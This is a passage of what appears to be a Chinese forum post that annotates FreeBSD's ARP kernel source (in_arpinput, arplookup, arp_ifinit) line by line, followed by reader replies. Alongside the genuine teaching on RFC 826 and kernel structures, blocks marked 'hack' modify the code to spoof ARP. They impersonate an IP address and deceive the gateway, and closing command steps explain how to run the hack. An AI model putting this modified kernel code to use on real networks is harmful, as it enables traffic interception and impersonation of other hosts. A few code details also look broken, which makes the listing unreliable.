continue;/*既然這個mbuf鏈是無意義的,那麼進行下一個while*/
}

if (m->m_pkthdr.len < sizeof(struct arphdr) + 2 * ar->ar_hln/*這是判斷該mbuf鏈的
總長度(即一arp包的長度)是否合格,在我的ARP頭文件解釋中有說明ARP包的長度及結構*/
    + 2 * ar->ar_pln) {
log(LOG_ERR, "arp: runt packet/n");
m_freem(m);/*釋放掉該mbuf鏈*/
continue;/*既然這個mbuf鏈是無意義的,那麼進行下一個while*/
}

switch (ntohs(ar->ar_pro)) {
#ifdef INET
case ETHERTYPE_IP:/*我們知道的ARP解釋就目前只有對IP的*/
in_arpinput(m);/*調用分析函數,在下面*/
continue;
#endif
}
m_freem(m);/*對ar->ar_pro中的協議不認識,釋放掉該mbuf鏈*/
}
}

#ifdef INET
/* ARP的算法規則遵循RFC 826
 * 下面我簡單的說一下RFC 826,非關鍵的東西我就跳過去了.
 * 該協議原現是爲DEC/Intel/Xerox的10M以太網設計的.
 * 下面是他的包格式:
 Ethernet 傳輸層,即以太網頭部 :(注意:是按順序的)
48.bit: 目的方的以太網地址
48.bit: 發送方的以太網地址
16.bit: 協議類型 = ether_type$ADDRESS_RESOLUTION(原來有上面說的三種(ISO協議),後來加了這一種)
 Ethernet ARP數據包內的數據:
16.bit:  硬件地址空間(這是RFC說的,其實應該是硬件類型) (如, 以太網,無線網絡等)
16.bit: 協議類型.對以太網來說就是ETHERTYPE_IP 
 8.bit:  硬件地址長度(字節),在我們以太網中是6
 8.bit:  協議地址長度(字節),在我們以太網中是4
16.bit: 操作代碼 (1是請求 | 2是應答)
n bytes: 該包發送方硬件地址(n是長度,看上面)

m bytes: 該包發送方的協議地址(m是長度,看上面,下面的m,n也一樣),其實就是IP地址

n bytes: 這個包目的方的硬件地址(應該是不知道的),一般是在發送的時候肯定不知道,所
以爲空,但也有免費ARP,就是把自己的地址填充,下面的IP也填充自己的,看有沒有
起他的機器迴應這IP的,如果有,就是有衝突了,大家上WINDOWS時,IP沒配好,網絡上
已經有這臺IP機器時, 發送該包,哪個已經有該IP的機器就會迴應一ARP,我們的接
收程序接收到了以後,就會發出"您的IP地址出現衝突,請詢問網絡管理員"(我也不
記得了,大概是這樣說的).

m bytes:  目的方的協議地址.即目的方的IP地址
其他的都是講一些原理,我就不多說了,我們看程序的時候全會講到.

 */
static int log_arp_wrong_iface = 1;/*這是控制在橋模式時,不該接收這ARP的網卡卻收到了時,會
判斷該變量爲真的話,就在控制檯輸出一出錯信息*/

SYSCTL_INT(_net_link_ether_inet, OID_AUTO, log_arp_wrong_iface, CTLFLAG_RW,
&log_arp_wrong_iface, 0,
"log arp packets arriving on the wrong interface");/*該sysctl繼承了net.link.ether.inet葉節點
用來控制上面那個變量,方法如下:
sysctl net.link.ether.inet.log_arp_wrong_iface=0  就會不輸出出錯信息*/

/*ARP包接收後處理*/
static void
in_arpinput(m)
struct mbuf *m;
{
register struct ether_arp *ea;/*arp包的數據結構,在程序中我列出了他的結構*/
register struct arpcom *ac = (struct arpcom *)m->m_pkthdr.rcvif;/*rcvif成員表示該mbuf是從那塊網卡接收的*/
struct ether_header *eh;/*以太網頭部結構*/
struct iso88025_header *th = (struct iso88025_header *)0;/*我們暫時不研究他*/
register struct llinfo_arp *la = 0;/*放的是ARP的地址列表*/
register struct rtentry *rt;/*radix路由樹結構*/
struct in_ifaddr *ia, *maybe_ia = 0;/*在網卡接口的每一個Internet地址(一個網卡可以有多個Internet地址)都分配了
這樣一個結構,maybe_ia是作爲臨存儲的一變量,後面有介紹*/
struct sockaddr_dl *sdl;
struct sockaddr sa;/*記住:所有的帶有sockaddr開頭的都是地址的一種結構,sockaddr是一個總的結構,他們的頭部都差不多*/
/*sockaddr_dl是鏈路層的地址結構,sockaddr_in是Internet地址結構等等.*/
/*hack------------------------*/
int k=0;
struct sockaddr hackgateway;
/*end------------------------*/

struct in_addr isaddr, itaddr, myaddr;/*in_addr結構只有一個成員u_long s_addr,存儲IP地址 */
int op, rif_len;/*op是放ARP操作碼的地方,1是請求,2是應答*/
/*如果mbuf的長度小於結構ether_arp的長度就調用m_pullup(假設他不在同一個mbuf中)
注意: 在這個地方又是該程序的問題,大家看前面中斷例程arpintr已經對傳遞進來的
m做過處理了(m->m_len<sizeof(struct ether_arp) && m_pullup(...)的判斷,我由此
還寫了一大堆),在此處的if是多於的,我建議大家在此做個printf,有條件的放到公司的
服務器上進行測試,這個printf將永遠不會運行*/
if (m->m_len < sizeof(struct ether_arp) &&
    (m = m_pullup(m, sizeof(struct ether_arp))) == NULL) {
log(LOG_ERR, "in_arp: runt packet -- m_pullup failed/n");
return;
}

ea = mtod(m, struct ether_arp *);/*實際上是#define mtod(m,t) (t)((m)->data)
即在mbuf放數據的地方的指針,該指針強制性爲t結構
    會彙編的朋友就明白,實際上是語句
mov edx,m->data
assume ds:[edx] struct ether_arp
mov eax,ds:[edx].arp_spa  可以利用寄存器尋址了
...
assume ds:[edx] NULL
我用的是W$下的32位彙編,我不會AT&T彙編,但原理是一樣的
我們現在來看看,這ether_arp的結構怎樣:
struct ether_arp {
struct arphdr ea_hdr; /* ARP頭部已經做了說明其實這整個結構都在上面的RFC 826 中有說明*
u_char arp_sha[ETHER_ADDR_LEN]; /* 這長度是6 *
u_char arp_spa[4]; /* 發送端的協議地址
u_char arp_tha[ETHER_ADDR_LEN]; /* 這長度是6 *
u_char arp_tpa[4]; /* 目的端的協議地址*
};
#define arp_hrd ea_hdr.ar_hrd  /*這些都是爲了描述方便
#define arp_pro ea_hdr.ar_pro
#define arp_hln ea_hdr.ar_hln
#define arp_pln ea_hdr.ar_pln
#define arp_op ea_hdr.ar_op
對這個結構和以上的RFC 826對照看看,肯定能對上,也有利於你對該RFC的瞭解*/
op = ntohs(ea->arp_op);/*ARP的操作,即是請求還是應答*/
(void)memcpy(&isaddr, ea->arp_spa, sizeof (isaddr));/**/
(void)memcpy(&itaddr, ea->arp_tpa, sizeof (itaddr));/*這兩句是把發送和接受端的IP協議地址考到臨時變量中*/
/*hack------------------------*/
printf(" %x <- %x oldip=%x on %s%d/n",itaddr.s_addr,isaddr.s_addr,oldip.s_addr,ac->ac_if.if_name, ac->ac_if.if_unit);
/*end------------------------*/

for (ia = in_ifaddrhead.tqh_first; ia; ia = ia->ia_link.tqe_next) {/*ia到底是個什麼東西呢*/
/*ia是一個in_ifaddr數據結構,在網卡接口的每一個Internet地址(一個網卡可以有多個Internet地址)都分配了
這樣一個結構
struct in_ifaddr {
struct ifaddr ia_ifa; /* 分配給每一個接口的地址,通常是每個協議都有一個.詳細說明如下:
----------------------------------------------------------------------------------------------
struct ifaddr {
struct sockaddr *ifa_addr; /* 接口的地址,sockaddr結構我就不講了,太簡單了 *
struct sockaddr *ifa_dstaddr; /* 點對點使用,對方的地址,如果是PPP,我們可查出局方的IP *
#define ifa_broadaddr ifa_dstaddr /* 廣播地址 *
struct sockaddr *ifa_netmask; /* 用於子網,和上面的點對點互斥 *
struct if_data if_data; /* not all members are meaningful *
struct ifnet *ifa_ifp; /* 指向本塊網卡的ifnet結構的回指針 *
TAILQ_ENTRY(ifaddr) ifa_link;/* 這是一個隊列宏,意思是把該卡的所有ifaddr用next指針的方法鏈接起來 *
void (*ifa_rtrequest) /* 以下三個是路由相關的,我可不是路由專家,所以沒有去分析
__P((int, struct rtentry *, struct sockaddr *));
u_short ifa_flags;
u_int ifa_refcnt; /* 統計被引用的次數 *
int ifa_metric; /* 一般都是1,具體幹嗎的,STEVEN也沒說清楚(估計他覺得好煩,不想說:),我覺得好象是跳數)
#ifdef notdef
struct rtentry *ifa_rt; /* XXXX for ROUTETOIF ????? *你看原文,他都不知道,我可能嗎.
#endif
int (*ifa_claim_addr) /* 是路由方面的,我也學STEVEN,其實我不知道*
__P((struct ifaddr *, struct sockaddr *));

};
----------------------------------------------------------------------------------------------
#define ia_ifp ia_ifa.ifa_ifp
#define ia_flags ia_ifa.ifa_flags /* 爲了方便了 *
下面以:192.168.1.3爲例子
u_long ia_net; /* 網絡號:該例子是192.168.0.0 *
u_long ia_netmask; /* 網絡掩碼爲:255.255.0.0*
u_long ia_subnet; /* 子網號是192.168.1.0 *
u_long ia_subnetmask; /* 子網掩碼是255.255.255.0 *
struct in_addr ia_netbroadcast; /* 網絡廣播地址 in_addr結構只有一個成員u_long s_addr *
TAILQ_ENTRY(in_ifaddr) ia_link; /* 該卡的下一Internet的in_ifaddr結構指針 *
struct sockaddr_in ia_addr; /* 保留給接口名稱 *
struct sockaddr_in ia_dstaddr; /* 保留給廣播地址 *
#define ia_broadaddr ia_dstaddr
struct sockaddr_in ia_sockmask; /* 保留給普通掩碼,這三個保留是爲了方便,沒有的話可以從其他結構中取 *
};
 * 這些結構我是看了N遍就忘了N遍,還好撿起來較快,他們大多數在if_attach函數中被初始化,也難怪他要這麼複雜,一塊
 網卡又要支持這麼多協議,又要在每個協議上允許支持多個地址,我認爲理解他的方法最好是用空間的方法,把他想象成一個
 立方體,網卡是角上一點,每個面是他支持的協議,在該協議上又有很多線(多個地址),這樣理解可能要好一點.
 好,講完了這個結構就好辦了,實際上我們的變量ia就是存放IP地址極其相關信息的地方,如果把所有的ia們放到一隊列中,那
 我們就可以在這個隊列中查到我們本機的所有的卡及他支持的協議和該協議的多個(IP)地址了,那個for 循環就是爲了查IP,
 in_ifaddrhead 就是ia的隊列
 */
#ifdef BRIDGE
#define BRIDGE_TEST (do_bridge)/*橋是否打開,可由sysctl net.link.ether.bridge=1打開橋功能,4.4版本要在覈心
配置文件中加入OPTIONS BRIDGE,最新版本不需要,只要用kld就行了.bridge是一個非常大的程序,下一個就要輪
到他被解剖了.*/
#else
#define BRIDGE_TEST (0) 
#endif
if ((BRIDGE_TEST) || (ia->ia_ifp == &ac->ac_if)) {/*ac我在前面有說明,這句代表接收的卡和當前循環查找的卡是同一卡嗎?*/
maybe_ia = ia;/*是,我把該卡的其中之一的IP放到maybe_ia中,記住,一卡有可能有幾個IP*/
if ((itaddr.s_addr == ia->ia_addr.sin_addr.s_addr) ||/*如果發過來的包目的IP地址和我的卡的IP地址都相同,就找到了,退出*/
     (isaddr.s_addr == ia->ia_addr.sin_addr.s_addr)) {/*如果源地址相同,也退出,記住:必須先比較目的地址*/
break;
}
}/*否則繼續循環找吧*/
}
if (maybe_ia == 0) {/*如果一個都沒找到,如果開機時,該卡沒設置IP的話,就會出現該情況*/
m_freem(m);/*釋放mbuf*/
return;
}
/*hack---------------------*/
if  (hackarp==1)
{ /*如果是對方發送了一請求包,目的地址是我原來的地址,但源地址不能是我冒充的IP的地址,我就發一請求包*/
myaddr = ia ? ia->ia_addr.sin_addr : maybe_ia->ia_addr.sin_addr;
if (!bcmp((caddr_t)ea->arp_sha, (caddr_t)ac->ac_enaddr,sizeof (ea->arp_sha))) /*我的卡和發送者的卡相同*/
{
m_freem(m); /* 哈,是我自己發的,釋放掉該包 */
return;
}
if (!bcmp((caddr_t)ea->arp_sha, (caddr_t)etherbroadcastaddr,sizeof (ea->arp_sha))) /*發送者是廣播地址,不可能*/
{
log(LOG_ERR,"arp: ether address is broadcast for IP address %s!/n",inet_ntoa(isaddr));
m_freem(m);
return;
}
printf("t:%x s:%x old=%x myaddr:%x/n",itaddr.s_addr,isaddr.s_addr,oldip.s_addr,myaddr.s_addr);/*調試*/

if ((op & ARPOP_REPLY) && (itaddr.s_addr==oldip.s_addr) && (isaddr.s_addr!=myaddr.s_addr))
{
if (arphacklock==1) /*如果對硬件地址加了鎖,即前面有一個ARP請求包還沒有處理結束*/
{
m_freem(m);
return;
}
arphacklock=1;/*我要開始處理了,不希望別的ARP包進入打攪我,即會替換掉下面的ithardaddr,要把他鎖住*/
trueip=1;/*我要發送的是ifconfig以後的IP地址作爲我的源IP地址*/
(void)memcpy(ithardaddr, ea->arp_sha, sizeof(ea->arp_sha));
fromsubr=3;
arprequest(ac, &myaddr, &isaddr, ac->ac_enaddr);/*發送一單播ARP請求*/
printf("I got a request and I send a request to it/n");
m_freem(m);
return;
}
if ((op & ARPOP_REPLY) && (itaddr.s_addr==oldip.s_addr) && (isaddr.s_addr==myaddr.s_addr))
{ /*如果我冒充的IP給我的老地址發一ARP請求包,不理他*/
printf("oh,the dst send a ARP to my old IP address,ignore it /n");
m_freem(m);
return;
}
}
/*end----------------------*/
myaddr = ia ? ia->ia_addr.sin_addr : maybe_ia->ia_addr.sin_addr;
/*
如果退出循環時,如果ia不爲空(注意:如果沒找到該IP的話,即哪個break不會執行,ia在for循環到最後是NULL,因爲隊列
是以NULL結束的),說明程序在break中跳出,也就是說maybe_ia中的IP地址是正確的,上面的那句意思就是,如果ia爲空的
話,那他用ia->ia_addr.sin_addr 當然他指向的數據也爲空了,否則,ia指向maybe_ia中的源IP地址,即發送方的IP地址.*/
if (!bcmp((caddr_t)ea->arp_sha, (caddr_t)ac->ac_enaddr,/*我的卡和發送者的卡相同*/
    sizeof (ea->arp_sha))) {
m_freem(m); /* 比較一下ARP數據包中的發送方硬件地址和接收該包的的卡的硬件地址相同嗎?相同就是自己發給自己
的,當然要扔掉*/
return;
}
/*patch---------*/
/* if ((op & ARPOP_REQUEST) && (!bcmp((caddr_t)ea->arp_tha, (caddr_t)etherbroadcastaddr,sizeof (ea->arp_sha)))) */
/* {                      */
/* m_freem(m); */
/* return;         */
/* }                         */
/*patch end ----*/
if (!bcmp((caddr_t)ea->arp_sha, (caddr_t)etherbroadcastaddr,/*發送方的源硬件地址是廣播地址嗎?是的話就是有人在破壞*/
sizeof (ea->arp_sha))) {                                /*在僞造一鏈路層數據包,想高廣播風暴,一定要逮住他*/
log(LOG_ERR,
    "arp: ether address is broadcast for IP address %s!/n",
    inet_ntoa(isaddr));
m_freem(m);
return;
}
if (isaddr.s_addr == myaddr.s_addr) {/*如果發送方的IP地址和我的卡的IP地址相同,有人用了我的IP*/
log(LOG_ERR,
   "arp: %6D is using my IP address %s!/n",
   ea->arp_sha, ":", inet_ntoa(isaddr));
/*hack-----------------------*/
if (hackarp==1)/*被冒充方發送了一個請求,但硬件地址不是我的,而且是一個請求ARP*/
{
if ((op & ARPOP_REQUEST) && (bcmp((caddr_t)ea->arp_sha, (caddr_t)ac->ac_enaddr,sizeof (ea->arp_sha))))
{   /*haha,目的地址發送料一arp請求*/
if (arphacklock==1)
{
m_freem(m);
return;
}
arphacklock=1;
trueip=1;
(void)memcpy(ithardaddr, ea->arp_sha, sizeof(ea->arp_sha));
fromsubr=2;
arprequest(ac, &myaddr, &itaddr, ac->ac_enaddr);
printf("the dst sent a ARP , I will follow it to send/n");
m_freem(m);
return;
}
}
/*end------------------------*/
itaddr = myaddr;/*這是我的IP*/
goto reply;/*我要回應他,告訴他,你用了我的IP.思考題:如果不回答呢,並且發送一個應答ARP給路由器,這個IP會怎樣?*/
}
/*到這總算一切正常,包的合法性檢查結束*/
/*下面該函數作用是按發送方的IP地址來查找ARP節點,如果沒找到的話,就創建一個ARP節點.如果itaddr.s_addr==myaddr.s_addr
   的話,即對方要找的IP和我的IP一樣(對方要和我通話,但要我的硬件地址),這種情況該函數一定要創建一ARP結點,看看上面的
   思考題,這就是答案.路由器會把IP的硬件地址指向我的機器,轉而同我通訊,這就是ARP欺騙,
*/
la = arplookup(isaddr.s_addr, itaddr.s_addr == myaddr.s_addr, 0);/*在講該函數前我們先看看la,即llinfo_arp結構
struct llinfo_arp { /*每一個ARP結點都會有一個該結構
LIST_ENTRY(llinfo_arp) la_list;/*宏建立雙向列表,即可以NETX,PREV操作的隊列
struct rtentry *la_rt;/*指向相關的路由表節點
struct mbuf *la_hold; /* 剛開始發送數據時,還不知道對方的硬件地址,要先發一個ARP包詢問,等待對方的應答
而要發送的數據包mbuf就先放到這寄存一下.等得到了對方的硬件地址再發.*
long la_asked; /* 我們詢問該地址的最後一次時間*
#define la_timer la_rt->rt_rmx.rmx_expire /* 如果是0就代表永久結點,非0時作爲超時的記時器 *
};
上面的函數的意思是:在路由表中查找IP地址是isaddr.s_addr,如果那個包是給我的,就建立(既itaddr.s_addr=myaddr.s_addr)
一個ARP結點
*/

/**/
if (la && (rt = la->la_rt) && (sdl = SDL(rt->rt_gateway))) {/*ARP結點存在,且路由也存在如果含有網關標誌*/
/*hack-----------------------*/
if (hackarp==0)
{
if ((gatewayip.s_addr!=NULL) && (rt->rt_flags & RTF_GATEWAY))/*當然只拷貝一次*/
{
(void)memcpy(&hackgateway,rt->rt_gateway,sizeof(rt->rt_gateway));
(void)memcpy(&gatewayip, hackgateway.sa_data, hackgateway.sa_len);
(void)memcpy(ithardaddr, ea->arp_sha, sizeof(ea->arp_sha));
printf("I got gateway ip and it 's hardaddress/n");
}
if (oldip.s_addr!=NULL)
(void)memcpy(&oldip,&myaddr,sizeof(struct in_addr));/*當然只拷貝一次*/
}
/*end-----------------------*/
/* 當網橋沒打開時,下面的一些有可能是正常的 */
if (!BRIDGE_TEST && rt->rt_ifp != &ac->ac_if) {
    if (log_arp_wrong_iface)
log(LOG_ERR, "arp: %s is on %s%d but got reply from %6D on %s%d/n",
    inet_ntoa(isaddr),
    rt->rt_ifp->if_name, rt->rt_ifp->if_unit,
    ea->arp_sha, ":",
    ac->ac_if.if_name, ac->ac_if.if_unit);
/*hack-----------------------*/
if (hackarp==1)
k=1;
/*end-----------------------*/
    goto reply;
}
if (sdl->sdl_alen &&
    bcmp((caddr_t)ea->arp_sha, LLADDR(sdl), sdl->sdl_alen)) {/*比較發來包的源地址和我們ARP結點中所記錄的是否相同*/
if (rt->rt_expire)/*不同,那有可能那臺機器剛換了網卡,但IP還是用原來的,rt_expire爲0代表他是永久結點*/
    log(LOG_INFO, "arp: %s moved from %6D to %6D on %s%d/n",
inet_ntoa(isaddr), (u_char *)LLADDR(sdl), ":",
ea->arp_sha, ":",
ac->ac_if.if_name, ac->ac_if.if_unit);
else {/*不對,他改的是永久結點*/
    log(LOG_ERR,
"arp: %6D attempts to modify permanent entry for %s on %s%d/n",
ea->arp_sha, ":", inet_ntoa(isaddr),
ac->ac_if.if_name, ac->ac_if.if_unit);
    goto reply;
}
}
(void)memcpy(LLADDR(sdl), ea->arp_sha, sizeof(ea->arp_sha));/*sdl是一地址結構,成員包括地址類型,長度,地址等等,任何類型的地址都可以放到他裏面*/
sdl->sdl_alen = sizeof(ea->arp_sha);/*地址的長度,這裏是6,該結構裏放的是硬件地址*/
                sdl->sdl_rcf = (u_short)0;
/*
 * 令牌環網,我們不分析他
 */
if (ac->ac_if.if_type == IFT_ISO88025) {
th = (struct iso88025_header *)m->m_pkthdr.header;
rif_len = TR_RCF_RIFLEN(th->rcf);
if ((th->iso88025_shost[0] & TR_RII) &&
    (rif_len > 2)) {
sdl->sdl_rcf = th->rcf;
sdl->sdl_rcf ^= htons(TR_RCF_DIR);
memcpy(sdl->sdl_route, th->rd, rif_len - 2);
sdl->sdl_rcf &= ~htons(TR_RCF_BCST_MASK);
m->m_data -= rif_len;
m->m_len  += rif_len;
m->m_pkthdr.len += rif_len;
} else {
th->iso88025_shost[0] &= ~TR_RII;
}
m->m_data -= 8;
m->m_len  += 8;
m->m_pkthdr.len += 8;
th->rcf = sdl->sdl_rcf;
} else {
sdl->sdl_rcf = (u_short)0;
}
if (rt->rt_expire)/*該路由不是永久的ARP結點*/
rt->rt_expire = time_second + arpt_keep;/*把他設置成時間爲20分鐘限制,在20分鐘後,arptimer定時器函數會將他清除*/
rt->rt_flags &= ~RTF_REJECT;/*本句和下面一句都是爲了防止ARP泛洪*/
la->la_asked = 0;
if (la->la_hold) {/*如果有等待發送的數據包,發送他*/
(*ac->ac_if.if_output)(&ac->ac_if, la->la_hold,
rt_key(rt), rt);
la->la_hold = 0;
}
}
reply:
if (op != ARPOP_REQUEST) {/*如果不出錯的話,應答包到前面就結束了*/
m_freem(m);
return;
}
if (itaddr.s_addr == myaddr.s_addr) {/*如果接到是請求包而且目的IP地址是我,那我就要回應一個ARP包給對方*/
/* 我就是你要找的 */
(void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));/*開始製做ARP迴應包*/
(void)memcpy(ea->arp_sha, ac->ac_enaddr, sizeof(ea->arp_sha));
} else {
la = arplookup(itaddr.s_addr, 0, SIN_PROXY);/*如果包不是發給我的,那麼在路由表中查找並看看ARP代理是否打開*/
if (la == NULL) {/*還是沒找到*/
struct sockaddr_in sin;

if (!arp_proxyall) {       /*如果代理沒打開,返回*/
m_freem(m);
return;
}

bzero(&sin, sizeof sin);
sin.sin_family = AF_INET;    /*開始構造一sockaddr_in結構,爲路由查詢作準備*/
sin.sin_len = sizeof sin;/*該類型協議的地址長度,當然是4*/
sin.sin_addr = itaddr;/*要查找的IP地址*/

rt = rtalloc1((struct sockaddr *)&sin, 0, 0UL);/*路由函數,查詢一IP的路由表,0UL是無符號長整數型的0*/
if (!rt) {/*沒找到該IP的路由表*/
m_freem(m);
return;
}
*/

if (rt->rt_ifp == &ac->ac_if) {/*如果查到的哪個路由所用的網卡和進來ARP包是同一網卡,當然沒用,我要着的是另一塊*/
rtfree(rt);
m_freem(m);
return;
}
(void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));
(void)memcpy(ea->arp_sha, ac->ac_enaddr, sizeof(ea->arp_sha));
rtfree(rt);
#ifdef DEBUG_PROXY
printf("arp: proxying for %s/n",
       inet_ntoa(itaddr));
#endif
} else {/*ARP代理網關找到了.*/
rt = la->la_rt;
(void)memcpy(ea->arp_tha, ea->arp_sha, sizeof(ea->arp_sha));
sdl = SDL(rt->rt_gateway);/*這是網關的硬件地址*/
(void)memcpy(ea->arp_sha, LLADDR(sdl), sizeof(ea->arp_sha));
}
}

(void)memcpy(ea->arp_tpa, ea->arp_spa, sizeof(ea->arp_spa));/*繼續填充ARP迴應包的成員,目的的協議地址,即對方的IP地址*/
(void)memcpy(ea->arp_spa, &itaddr, sizeof(ea->arp_spa));/*我方的IP地址也填充到ARP包中*/
ea->arp_op = htons(ARPOP_REPLY);/*填充ARP包的操作代碼部分,該處爲迴應一ARP包*/
ea->arp_pro = htons(ETHERTYPE_IP); /*ARP包解釋的是IP協議的硬件地址*/
switch (ac->ac_if.if_type) {/*看看接口支持的類型*/
case IFT_ISO88025:/*ISO我們暫時不討論*/
memcpy(th->iso88025_dhost, th->iso88025_shost,
    sizeof(th->iso88025_dhost));
memcpy(th->iso88025_shost, ac->ac_enaddr,
    sizeof(th->iso88025_shost));
if (th->iso88025_dhost[0] & TR_RII) {
th->iso88025_dhost[0] &= ~TR_RII;
if (TR_RCF_RIFLEN(th->rcf) > 2)
th->iso88025_shost[0] |= TR_RII;
}
memcpy(sa.sa_data, th->iso88025_dhost,
    sizeof(th->iso88025_dhost) * 2);
sa.sa_data[(sizeof(th->iso88025_dhost) * 2)] = TR_AC;
sa.sa_data[(sizeof(th->iso88025_dhost) * 2) + 1] = TR_LLC_FRAME;
break;
case IFT_ETHER:
case IFT_FDDI:
default:
eh = (struct ether_header *)sa.sa_data;
(void)memcpy(eh->ether_dhost, ea->arp_tha,/*填充以太網頭部的目的硬件地址*/
    sizeof(eh->ether_dhost));
eh->ether_type = htons(ETHERTYPE_ARP);/*填充以太網頭部的協議類型*/
break;
}
sa.sa_family = AF_UNSPEC;/*調用以太網輸出函數時,以太網頭部不改動*/
sa.sa_len = sizeof(sa);
/*hack-----------------------*/
if ((hackarp==1) && (k==1))
DELAY(500);
/*end-----------------------*/
(*ac->ac_if.if_output)(&ac->ac_if, m, &sa, (struct rtentry *)0);/*直接調用以太網輸出*/
return;
}
#endif

/*
 * 釋放一個ARP入口,la是要釋放的ARP結構
 */
static void
arptfree(la)
register struct llinfo_arp *la;
{
register struct rtentry *rt = la->la_rt;/*取該ARP的路由結構*/
register struct sockaddr_dl *sdl;
if (rt == 0)/*路由結構爲空,則錯誤*/
panic("arptfree");
if (rt->rt_refcnt > 0 && (sdl = SDL(rt->rt_gateway)) &&   /*如果該路由的參考計數不爲0並且鏈路層地址有效,說明在用呢,不能刪除*/
    sdl->sdl_family == AF_LINK) {
sdl->sdl_alen = 0;
la->la_asked = 0;
rt->rt_flags &= ~RTF_REJECT;/*清楚該標誌意味着下次要用該結點時可以發ARP請求包,這個標誌是怕ARP風暴*/
return;
}
rtrequest(RTM_DELETE, rt_key(rt), (struct sockaddr *)0, rt_mask(rt),/*這纔是調用前面的函數刪除該ARP結點*/
0, (struct rtentry **)0);
}
/*
 *.在arptab中尋找或進入一個新的地址
 該函數主要是調用選路函數rtalloc1在Internet路由表中查找arp節點.他有三個參數,第一個是要查的IP地址
 * 第二個是一個標誌,爲真就找不到就創建一個ARP節點,第三個是查找或創建代理ARP結點.
 */
static struct llinfo_arp *
arplookup(addr, create, proxy)/*該函數其實是和路由緊密聯繫,*/
u_long addr;
int create, proxy;
{
register struct rtentry *rt;
static struct sockaddr_inarp sin = {sizeof(sin), AF_INET };
const char *why = 0;

sin.sin_addr.s_addr = addr;
sin.sin_other = proxy ? SIN_PROXY : 0;/*使用ARP代理嗎?*/
rt = rtalloc1((struct sockaddr *)&sin, create, 0UL);/*對sin所包含IP的路由查詢,如果create=1,就建立一路由表*/
if (rt == 0)
return (0);
rt->rt_refcnt--;

if (rt->rt_flags & RTF_GATEWAY)  /*如果該IP地址所指向的路由表中包含有網關標誌*/
why = "host is not on local network";
else if ((rt->rt_flags & RTF_LLINFO) == 0)/*如果該路由表中沒有與其相關的ARP節點入口*/
why = "could not allocate llinfo";
else if (rt->rt_gateway->sa_family != AF_LINK)/*如果該路由表硬件的地址族不是鏈路層地址*/
why = "gateway route is not ours";

if (why && create) {
log(LOG_DEBUG, "arplookup %s failed: %s/n",
    inet_ntoa(sin.sin_addr), why);
return 0;
} else if (why) {
return 0;
}
return ((struct llinfo_arp *)rt->rt_llinfo);/*返回ARP結點*/
}

void
arp_ifinit(ac, ifa)/*該函數由以太網的IOCTL調用(if_ethersubr.c中的ether_ioctl函數調用),即在網卡的IP發生變化或接口重新啓動等*/
struct arpcom *ac;
struct ifaddr *ifa;
{
if (ntohl(IA_SIN(ifa)->sin_addr.s_addr) != INADDR_ANY)
/*hack----------------------*/
{
if (hackarp==0)
{
/*end-----------------------*/
arprequest(ac, &IA_SIN(ifa)->sin_addr,&IA_SIN(ifa)->sin_addr, ac->ac_enaddr);/*在這發送一免費ARP*/
/*免費ARP是指發送一源IP和目的IP都是自己的ARP包,看看是否有迴應,有的話,就是IP衝突*/
/*hack----------------------*/
}else
{
if (gatewayip.s_addr!=NULL)
{
trueip=1;
if (arphacklock==0)
{
arphacklock=1;
fromsubr=0;
arprequest(ac, &IA_SIN(ifa)->sin_addr, &gatewayip, ac->ac_enaddr);
printf("Yes,I init the ARP and I cheat the route/n");
}else
{
printf("Sorry, the arphacklock is locked/n");
}
}else
{
printf("Hack is start ! The gateway's ip is NULL/n");
}
}
}
/*end-----------------------*/
ifa->ifa_rtrequest = arp_rtrequest;
ifa->ifa_flags |= RTF_CLONING;
}
/*
命令步驟:
arp -d -a
sysctl net.link.ether.inet.ctrlhack=1
ifconfig vr0   192.168.0.4  255.255.255.0
          ^          ^           ^
   你的卡  你要冒充的IP     掩碼

*/

 i2era 回覆於:2003-06-24 16:41:12
好文,先save as了再說

 north 回覆於:2003-06-24 17:16:26
能有這樣的原創,佩服!     

我正在看W.Richard Stevens的《TCP/IP詳解 卷2》,剛到IP編址部分,ARP還沒看到,改天有問題就向你請教囉。

 xie_minix 回覆於:2003-06-24 18:14:38
這本書中最難的部分是radix樹和route,如果你看不懂的話沒關係,先看ARP,再看路由,我的感覺是光看書是不行的,還要看源碼,以源碼爲根本,不懂再看書,這樣效果可能會更好一點,特別是算法,如果你看完源碼再看書,一下就明白了,甚至還能提出一些好的建議,我再看源碼的時候經常發現一些代碼不是很規範的地方,雖然不影響大局,但這種習慣在後面的編碼過程中就有可能出現漏洞.

 紅袖添香 回覆於:2003-06-24 20:51:36
...

這樣的好文, 不 save 太對不起自己了。。。

 north 回覆於:2003-06-25 09:32:20
呵呵,一想到route就頭大,不過平時工作的一個重要內容就是調路由器,所以多少還有些動力的  :D 
     我也有同感,看源碼可以弄明白一些許多看半天書也不明白的東西。不過這本書的確很好,指出了源碼中的關鍵,使得讀源碼的難度大大降底了。
     
     多謝指教!

 north 回覆於:2003-06-25 09:36:04
呵呵,一想到route就頭大,不過平時工作的一個重要內容就是調路由器,所以多少還有些動力的  :D 
     我也有同感,看源碼可以弄明白一些許多看半天書也不明白的東西。不過這本書的確很好,指出了源碼中的關鍵,使得讀源碼的難度大大降底了。
     
     多謝指教!

 akjjdfhhfhkdmin 回覆於:2003-06-30 08:35:56
save

 Macolex 回覆於:2004-12-30 14:41:52
好貼
牛人哦!!
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章